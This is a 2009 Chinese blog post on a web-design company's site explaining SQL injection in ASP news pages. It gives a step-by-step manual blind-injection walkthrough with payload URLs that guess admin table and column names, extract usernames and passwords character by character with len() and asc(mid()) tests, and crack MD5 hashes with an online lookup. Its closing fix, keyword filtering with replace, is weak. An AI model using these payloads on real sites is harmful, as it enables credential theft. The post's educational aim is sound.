公司使命:打造嘉兴技术实力最强的网络公司
服务项目:嘉兴网站建设 嘉兴网站制作 嘉兴网站优化
新闻中心

网站漏洞之“注入点”

发布时间:2009/8/4 12:42:40   文章来源:jiaxingweb   浏览:[  ]   评论:[  ]

    在网站制作过程中,好多朋友特别是刚开始做网站的朋友,可能都不会注意到这一点,网站是否存在注入点,本人原来在公司上班的时候,公司是为企业做网站和网站维护的,应为一个企业网站也没有多少钱,公司的人员费用除去的话,老板也没赚多少钱,所以为了能让公司盈利更多,只有加大我们的工作量,我记得在最快的时候,我做过企业网站是一天一个,那个时候活也有点多,在后来做商城网站的时候,都是两天做一个,呵呵,速度太快的结果是网站只注意了表现形式,并不注重内核结构,于是导致安全性的隐患,在我第一份工作的公司里从来都没有考虑过漏洞的东西,呵呵,再说客户也不懂什么是漏洞啊,什么的,客户一看网站好了,就ok。

    这样就导致目前市场上,特别是asp程序网站存在许多“注入点”漏洞,注入点漏洞的意思就是:通过这样页面的地址黑客们可以找到你数据库所存在的数据库表,字段,字段值。
这样的话就相当于你的整个数据库暴露给了黑客。

    下面我举例说明“注入点”

    假设我的网站上有这样一篇文章,网址是:

    /shownews.asp?id=1

    搞编程的人就知道

    当我改成

    /shownews.asp?id=2

    这时候访问的是另一篇文章

    在这样shownews.asp这个文件中应该存在这样一句查询语句

    Sql=”Select * from news where id=”&id

    上面sql为数据库表达式变量,news为数据库中存在的表,第一个id为news表中存在的字段,*号为所查询出来的字段,这些都是变量,根据程序员的写法变量名会不相同。


    1,这样当我们把url地址给成如下的时候,/shownews.asp?id=1’ (注意,是在1后面加了一个逗号)
会出现错误,可能有提示错误信息,可能没有,
    这个一个测试网站所提示的错误信息


Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id=55'' 中。
/news_detail.asp,行 11


    从上面的字段中可以看出在数据库中存在一个表,表名还不清楚,但是可以看出里面有一个字段的名称为id

    2,当我们把url改成如下时,/shownews.asp?id=1  and 0<>(select count(*) from admin)

    这句话到shownews.asp中执行后,sql以为如下信息

    Sql=”Select * from news where id=1 and 0<>(select count(*) from user)” 看懂这就sql的人就会明白这就话事实上是判读整个数据库中是否有admin这张表,(一般为后台用户名和密码表,当有人问我为什么你会选择admin表呢,我只能告诉你那是工作经验的积累,你看多太多的源码后就会知道)

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'
[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库引擎找不到输入表或查询 'user'。 确定它是否存在,以及它的名称的拼写是否正确。
/news_detail.asp,行 11

    从上面的代码可以看出,本数据库中并没有admin这张表,在换成其它的表测试,直到找到这样后台用户名和密码表,
/shownews.asp?id=1 and 0<>(select count(*) from admin)
/shownews.asp?id=1 and 0<>(select count(*) from manage)
/shownews.asp?id=1 and 0<>(select count(*) from System)
/shownews.asp?id=1 and 0<>(select count(*) from users)

    慢慢测试吧,这就是穷举,根据你的工作经验进行穷举。当出现页面正常显示的时候,说明你成功找到了用户表了,呵呵。(这里我们假设成功找到admin表)

    2,这样就算找到表了,我们在来找表中的字段(一般会为id,userid,manageid,adminid,user,username,adminname,name, pwd password),url地址如下

    /shownews.asp?id=1 and exists (select id from admin)

    当返回页面正常访问(成功)时,说明数据表中存在这个字段,(这里我们假设成功找到username,password,id三个字段)

    3,找到表中的字段后,我们接着找表中的内容,url如下:/shownews.asp?id=1 and exists (select admin from admin where id=1)
    /shownews.asp?id=1 and exists (select admin from admin where id=2)
    /shownews.asp?id=1 and exists (select admin from admin where id=3)

    等等,直到页面正常显示,我们这里假设,找到的id为3

    接着我们就开始判断id为到的username和password,url如下:

    /shownews.asp?id=1 and exists (select username from admin where id=3 and len(username)=1)
    ……
    /shownews.asp?id=1 and exists (select username from admin where id=3 and len(username)=8)

    上面的url判断username的长度,假设我们找到的是8位用户名,然后判断各位上的字符

    /shownews.asp?id=1 and exists (select username from admin where id=3 and asc(mid(usermane,1,1))>97)

    如果方法正常页面,说明username的第一位字母的ASCII大于97,在比较,

    /shownews.asp?id=1 and exists (select username from admin where id=3 and asc(mid(usermane,1,1))> 105)

    如果返回错误页面,这说明username的第一个字母的ASCII在97和105之间,知道找到(这里需要略了解ASCII表)

    其它位数类推,password也是类推。找到ASCII后找工具转换成字符就好

   可能在这个适合password已经被md5加密(使用最多的是md5),这时我们用md5解密工具破解一下,破解工具网址:http://www.cmd5.com/

    这里需要说明一下,md5加密事实上是不可逆的,但是这个网站之所以能查到你的密码,是因为你的密码的加密后的字符串已经在他的数据库中存在,那它又是怎样存在于数据库中的呢,是这样的,假设你查询microsoft这个字符的md5加密码时,你用了这个网站,当这个网站的数据库中并没有你这个字符串的列表项时,它就会加入到它的数据库中,如microsoft的md5的16位的加密后为c4f1ea403f37070f,这样你的这个密码就会存进它的书库库,当下一个人找到c4f1ea403f37070f这个加密后的密码后,通过这个工具就很容易找到了microsoft这个明码了,呵呵,所以工具还是要小心使用,还有就是你的密码太简单,早已经存在他的数据库中。

    上面就是关于“注入点”的一些跟人见解,在工作中你并不需要这样去寻找“注入点”,因为像阿d,明小子,等工具都是使用的上面的方法进行的检测,所以你直接使用工具就好,原理如上文。做好一个网站最基本的就是用工具测试一下,最少可以发现简单的漏洞,当你工作很有经验的时候,上面的工具可能你用不到,这要写一句关于sql关键词的过滤就好了,这样就找不到注入点了,最简单是就用replace替换,还有就是用正则表达式查询真个字符串等。

评论
发表评论
评论内容:
昵称:
邮箱:
嘉兴网络公司 嘉兴网站建设 嘉兴网站制作 嘉兴建网站 嘉兴做网站 嘉兴网页制作 PE给水管 HDPE中空壁缠绕管 ABS管生产厂家
服务热线: 0573-82102225 15858312461 QQ: 56373131 E-mail: sales@jiaxingweb.com 地址: 嘉兴市南湖区富润路101号320室 浙ICP备09050985号
嘉兴网站建设-嘉兴网站制作-嘉兴网站优化-龙媒网络@嘉兴网络公司 www.jiaxingweb.com